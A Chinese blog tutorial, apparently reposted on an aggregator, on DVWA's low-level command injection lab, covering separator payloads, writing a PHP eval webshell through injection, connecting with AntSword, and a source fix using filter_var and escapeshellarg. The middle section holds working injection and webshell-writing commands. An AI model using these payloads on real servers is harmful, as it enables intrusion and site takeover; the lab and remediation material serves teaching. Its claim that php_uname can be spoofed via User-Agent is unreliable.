DVWA 靶场之 Command Injection(命令执行)原理介绍、分隔符测试、后门写入与源码分析、修复建议

在打靶之前我们需要先解决一个乱码问题

参考我之前的博客:

关于DVWA靶场Command Injection(命令注入)乱码的解决方案-CSDN博客

简单介绍一下命令执行漏洞:

命令执行漏洞是一种常见的网络安全漏洞,它允许攻击者通过向应用程序发送恶意输入,执行任意系统命令或者其他恶意操作。这种漏洞通常存在于允许用户输入命令并将其传递给操作系统执行的应用程序中,比如Web应用程序中的表单、URL参数或者其他用户输入的地方。攻击者利用这种漏洞可以执行以下操作:

  1. 远程命令执行(RCE):攻击者可以通过发送特定的恶意输入,使目标应用程序执行远程服务器上的任意命令。这可能导致服务器被完全接管,或者在服务器上执行潜在破坏性的操作。

  2. 本地命令执行:攻击者可以在受影响的应用程序上执行本地系统命令,这可能导致攻击者获取敏感信息、修改系统配置或者执行其他恶意操作。

  3. Shell注入:攻击者通过注入恶意命令到受影响应用程序的命令行或者Shell环境中,从而执行未经授权的操作。

  4. 提权攻击:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限。

总的来说就是服务端没有对执行函数做严格过滤,导致我们可以插入恶意的命令并被执行。

我们还是先从最简单的开始,将难度等级设置为 Low

来到命令注入关卡,要求我们输入一个 ip 地址

这里输入本地回环地址进行测试,即 127.0.0.1

顺便给大家介绍一下这个回环地址:

本地回环地址(127.0.0.1)是指计算机网络中的一个特殊地址,代表设备的本地虚拟接口,不会受网络情况的变化而变化。它用于在同一台计算机内部进行通信,而不需要经过物理网络硬件,因此被默认视为永远不会宕掉的接口。实际上,除了 127.0.0.1 外,范围在127.0.0.2 到 127.255.255.254 之间的地址也是本地回环地址,可以用于同样的目的。

本地回环地址的作用包括:

1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。

2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。

可以看到这里执行了 ping 127.0.0.1 的命令 

这个就和我们在终端执行 ping 命令是一样的,回显如下图:

至此我们可以大致判断这个页面的功能就是对我们输入的 ip 地址执行 ping 命令

但是我们是 hacker ,怎么能只限于执行一个 ping 命令呢

那么我们尝试一下是否还能执行其他命令

在此之前我们需要知道命令执行漏洞的原理:

在操作系统中,“ &、|、&&、|| ” 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

上述的 “ & ” 和 “ | ” 都叫做命令执行分隔符,在 Linux 系统下,命令执行分隔符还包括 “ ; ”

即命令执行分隔符有:

windows:   &&  ||  &  | 
linux:   &&   ||   &  |    ;

顺便再说一下命令执行相关的函数,主要有:

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()

本质就是命令执行函数将参数以 dos 、shell 执行

铺垫了这么多基础知识,我们直接上 payload:

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

127.0.0.1&whoami

 可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

如果这个看着不明显,那么我们执行一下其他命令试试,比如 ipconfig

(因为我这里的靶场是使用 Windows 系统搭建的,如果搭建在 Linux 环境下,则使用 ifconfig)

127.0.0.1&ipconfig

这次看着就很明显了吧,确实存在命令执行漏洞 

关于不同 payload 的测试: 

127.0.0.1&&ipconfig

与一个 & 的执行结果一样 (注意这是基于第一个为真的条件)

我们再看这个,ping myon 肯定为假 

myon&&ipconfig

由结果可以得出:当第一个命令执行失败(为假) 

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

myon&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

127.0.0.1|ipconfig
myon|ipconfig

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

127.0.0.1||ipconfig

对于两个或,前面为真,只执行前面的,后面命令没有执行

myon||ipconfig

若前面为假, 执行后面的,第二个命令被执行

对于 Linux 系统搭建的靶场,管道符效果同上 

这里补充分号(;)

127.0.0.1;ifconfig;cd ../../;ls;whoami等等

按顺序依次执行,分号前的命令执行完继续执行分号后的命令

因为我这里靶场是使用 Windows 系统搭建的因此无法使用分号来堆叠命令 

 最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

构造 payload :

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

如果是写入当前目录下,也可以直接跟文件名即可

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > shell.php

对于 Linux 系统则使用反斜杠 \ 进行转义 

webshell 后门写入成功 

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可。

查看木马内容

尝试进行调用 shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

 最后我们简单看一下题目源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

主要存在的问题:

  1. 未对用户输入进行验证和过滤:代码中直接使用 $_REQUEST['ip'] 获取用户输入的 IP 地址,并没有对用户输入进行验证和过滤,这可能导致命令注入漏洞。攻击者可以通过输入恶意命令来执行任意系统命令,从而对服务器造成严重威胁。

  2. 未使用安全的命令执行函数:代码中使用了 shell_exec() 函数来执行系统命令,这是一个可执行命令的函数,存在安全风险。如果用户能够控制输入并输入恶意命令,就可能导致命令执行漏洞。

  3. 未对操作系统类型进行验证:代码中使用了 php_uname('s') 函数来确定操作系统类型,然后根据操作系统类型来选择执行的命令。但是这种方式并不可靠,攻击者可以伪造 HTTP 请求来改变 User-Agent,从而绕过这种检测机制。

修复加固后的代码:

<?php

if (isset($_POST['Submit'])) {
    // Get input
    $target = $_POST['ip'];

    // Validate user input to ensure it is a valid IP address
    if (filter_var($target, FILTER_VALIDATE_IP)) {
        // Determine OS and execute the ping command
        if (stristr(php_uname('s'), 'Windows NT')) {
            // Windows
            $cmd = shell_exec('ping ' . escapeshellarg($target));
        } else {
            // *nix
            $cmd = shell_exec('ping -c 4 ' . escapeshellarg($target));
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    } else {
        // Invalid input, display error message
        echo "Invalid IP address";
    }
}

?>

  1. 使用 filter_var() 函数验证用户输入的 IP 地址,确保其是一个有效的 IP 地址。

  2. 使用 escapeshellarg() 函数对用户输入进行转义,以防止命令注入。

  3. 在命令执行前对用户输入进行验证,如果用户输入不是有效的 IP 地址,则显示错误消息。

对于命令执行漏洞的通用修复建议:

  1. 输入验证和过滤:严格验证和过滤所有用户输入,确保只接受预期的输入格式,拒绝所有非法字符和特殊字符。

  2. 避免使用可执行命令的函数:尽可能避免使用能够执行系统命令的函数,如 exec()system()shell_exec() 等,而是使用更安全的替代方案,如专门的库或内置函数。

  3. 最小权限原则:确保应用程序以最低权限来执行系统命令,避免使用过高的权限。限制应用程序的操作范围,仅提供必要的权限。

  4. 安全配置:对服务器和应用程序进行安全配置,关闭不必要的服务和功能,限制可执行命令的范围。确保操作系统和软件都及时更新,以修复已知的安全漏洞。

  5. 安全编程实践:在编写代码时,采用安全编程实践,如对用户输入进行验证、过滤和转义,不信任用户输入,避免硬编码敏感信息等。

  6. 输入输出分离:确保用户输入和系统命令之间有明确的分界线,不要将用户输入直接作为系统命令的一部分。

  7. 安全框架和工具:使用安全性较高的编程语言、框架和工具来开发应用程序,这些工具可能提供了内置的安全机制,能够有效地防止命令执行漏洞。

  8. 安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现并修复潜在的安全漏洞。

本篇博客我只是以 Low 难度的为例,但其实我们已经讲到了其他难度的知识,我认为还是讲得很详细的,下篇博客我们继续进行 middle 和 high 难度的讲解演示与补充。

创作不易,期待大家的关注与支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/414394.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微服务-商城订单服务项目

文章目录 一、需求二、分析三、设计四、编码4.1 商品服务4.2 订单服务4.3 分布式事务4.4 订单超时 商品、购物车 商品服务&#xff1a; 1.全品类购物平台 SPU:Standard Product Unit 标准化产品单元。是商品信息聚合的最小单位。是一组可复用、易检索的标准化信息的集合&#x…

Biotin-PEG2-Thiol,生物素-PEG2-巯基,应用于抗体标记、蛋白质富集等领域

您好&#xff0c;欢迎来到新研之家 文章关键词&#xff1a;Biotin-PEG2-Thiol&#xff0c;生物素-PEG2-巯基&#xff0c;Biotin PEG2 Thiol&#xff0c;生物素 PEG2 巯基 一、基本信息 【产品简介】&#xff1a;Biotin PEG2 Thiol can bind with antibodies to prepare biot…

第12课-在网络上写作,让你事半功倍的14个独家秘诀

公众号文章写作方向要专一&#xff0c;太杂的内容很难留住用户&#xff0c;这就要求我们早起尽快确定自己擅长的领域&#xff0c;然后不断精进。 在写作的过程中确定自己的写作风格&#xff0c;而写作风格的确立需要长时间的写作积累&#xff0c;会经历迷茫和混乱&#xff0c;…

数据库管理-第156期 Oracle Vector DB AI-07(20240227)

数据库管理156期 2024-02-27 数据库管理-第156期 Oracle Vector DB & AI-07&#xff08;20240227&#xff09;1 Vector相关DDL操作可以在现有的表上新增vector数据类型的字段&#xff1a;可以删除包含vector数据类型的列&#xff1a;可以使用CTAS的方式&#xff0c;从其他有…

centos7系统crond 离线安装

CentOS 7的crond离线安装步骤如下&#xff1a; 下载cronie和crontabs的离线安装包。可以从rpmfind等网站下载与CentOS 7系统版本相匹配的cronie和crontabs离线安装包。 将下载的离线安装包传输到CentOS 7服务器上。 依次执行以下命令进行安装&#xff1a; 安装cronie&#…

【喜讯】优积科技获上海市室内装饰行业“装配式装修示范单位”

2023年12月29日下午&#xff0c;上海市室内装饰行业协会第九届第三次会员大会暨第五次理事会在金茂大厦隆重举行。上海市民政局社会团体管理处副处长姜琦、上海市经济和信息化委员会综合规划处副处长赵广君、上海市工经联党委副书记、执行副会长黄国伟等领导应邀出席会议。出席…

CSS3技巧37:JS+CSS3 制作旋转图片墙

开学了就好忙啊&#xff0c;Three.js 学习的进度很慢。。。 备课备课才是王道。 更一篇 JS CSS3 的内容&#xff0c;做一个图片墙。 其核心要点是把图片摆成这个样子&#xff1a; 看上去这个布局很复杂&#xff0c;其实很简单。其思路是&#xff1a; 所有图片放在一个 div.…

kubectl 声明式资源管理方式

目录 介绍 YAML 语法格式 命令 应用yaml文件指定的资源 删除yaml文件指定的资源 查看资源的yaml格式信息 查看yaml文件字段说明 查看 api 资源版本标签 修改yaml文件指定的资源 离线修改 在线修改 编写yaml文件 创建资源对象 查看创建的pod资源 创建service服务对…

07-Linux部署Nginx

Linux部署Nginx 简介 NGINX是一款高性能的HTTP和反向代理服务器&#xff0c;也是一个IMAP/POP3/SMTP代理服务器。它的特点包括占用内存少、并发能力强&#xff0c;因此在处理高负载和高并发的场景时表现优秀。NGINX由俄罗斯的程序设计师Igor Sysoev开发&#xff0c;最初是为俄…

Swagger3 使用详解

Swagger3 使用详解 一、简介1 引入依赖2 开启注解3 增加一个测试接口4 启动服务报错1.5 重新启动6 打开地址&#xff1a;http://localhost:8093/swagger-ui/index.html 二、Swagger的注解1.注解Api和ApiOperation2.注解ApiModel和ApiModelProperty3.注解ApiImplicitParams和Api…

如何在 Linux 上使用 dmesg 命令

文章目录 1. Overview2.ring buffer怎样工作&#xff1f;3.dmesg命令4.移除sudo需求5. 强制彩色输出6.使用人性化的时间戳7.使用dmesg的人性化可读时间戳8.观察实时event9.检索最后10条消息10.搜索特定术语11.使用Log Levels12.使用Facility Categories13.Combining Facility a…

【六袆-Golang】Golang:安装与配置Delve进行Go语言Debug调试

安装与配置Delve进行Go语言Debug调试 一、Delve简介二、win-安装Delve三、使用Delve调试Go程序[命令行的方式]四、使用Golang调试程序 Golang开发工具系列&#xff1a;安装与配置Delve进行Go语言Debug调试 摘要&#xff1a; 开发环境中安装和配置Delve&#xff0c;一个强大的G…

黑马程序员——接口测试——day03——Postman断言、关联、参数化

目录&#xff1a; Potman断言 Postman断言简介Postman常用断言 断言响应状态码断言包含某字符串断言JSON数据Postman断言工作原理Postman关联 简介实现步骤核心代码创建环境案例1案例2Postman参数化 简介数据文件简介编写数据文件 CSV文件JSON文件导入数据文件到postman读取数…

C语言-数据结构-顺序表

&#x1f308;个人主页: 会编辑的果子君 &#x1f4ab;个人格言:“成为自己未来的主人~” 目录 数据结构相关概念 顺序表 顺序表的概念和结构 线性表 顺序表分类 顺序表和数组的区别 顺序表分类 静态顺序表 动态顺序表 头插和尾插 尾插 数据结构相关概念 数据结构…

逆向案例二:关键字密文解密,自定义的加密解密。基于企名片科技的爬取。

import requests import execjsfor i in range(4):i i1url https://vipapi.qimingpian.cn/Activity/channelInformationByChannelNamedata {channel_name: 24新声,page: f{i},num: 20,unionid: W9wLD4rHIZrB3GLTUncmHgbZcEepR78xJa5Zit6XTMtata86DehdxDt/fDbcHeeJWqqIs6k…

Golang Redis:构建高效和可扩展的应用程序

利用Redis的闪电般的数据存储和Golang的无缝集成解锁协同效应 在当前的应用程序开发中&#xff0c;高效的数据存储和检索的必要性已经变得至关重要。Redis&#xff0c;作为一个闪电般快速的开源内存数据结构存储方案&#xff0c;为各种应用场景提供了可靠的解决方案。在这份完…

PHP请求示例获取淘宝商品详情数据API接口(按关键词搜索商品列表)

请求示例&#xff0c;API接口接入Anzexi58 item_get-获得淘宝商品详情 taobao.item_get 公共参数 名称类型必须描述keyString是调用key&#xff08;必须以GET方式拼接在URL中&#xff09;secretString是调用密钥WeChat18305163218api_nameString是API接口名称&#xff08;包…

nodejs 实现pdf与图片互转

PDF转图片 效果图 代码 const path require(path); const pdf require(pdf-poppler); const fs require(fs); // PDF文件路径 const pdfFilePath ./path/test.pdf; // 转换选项 const opts { format: png, // 输出图片格式&#xff0c;可以是 jpeg, png, ppm…

东芝工控机维修东芝电脑PC机维修FA3100A

TOSHIBA东芝工控机维修电脑控制器PC机FA3100A MODEL8000 UF8A11M 日本东芝TOSHIBA IA controller维修SYU7209A 001 FXMC12/FXMC11;BV86R-T2GKR-DR7YF-8CPPY-4T3QD; CPU处理单元是可编程逻辑控制器的控制部分。它按照可编程逻辑控制器系统程序赋予的功能接收并存储从编程器键入…

组合模式(Composite Pattern)C++

上一节&#xff1a;桥接模式&#xff08;Bridge Pattern&#xff09; C 文章目录 0.理论1.目的与应用场景2.实现方式 1.实践 0.理论 组合模式&#xff08;Composite Pattern&#xff09;是一种结构型设计模式&#xff0c;用于将对象组合成树形结构以表示“部分-整体”的层次结…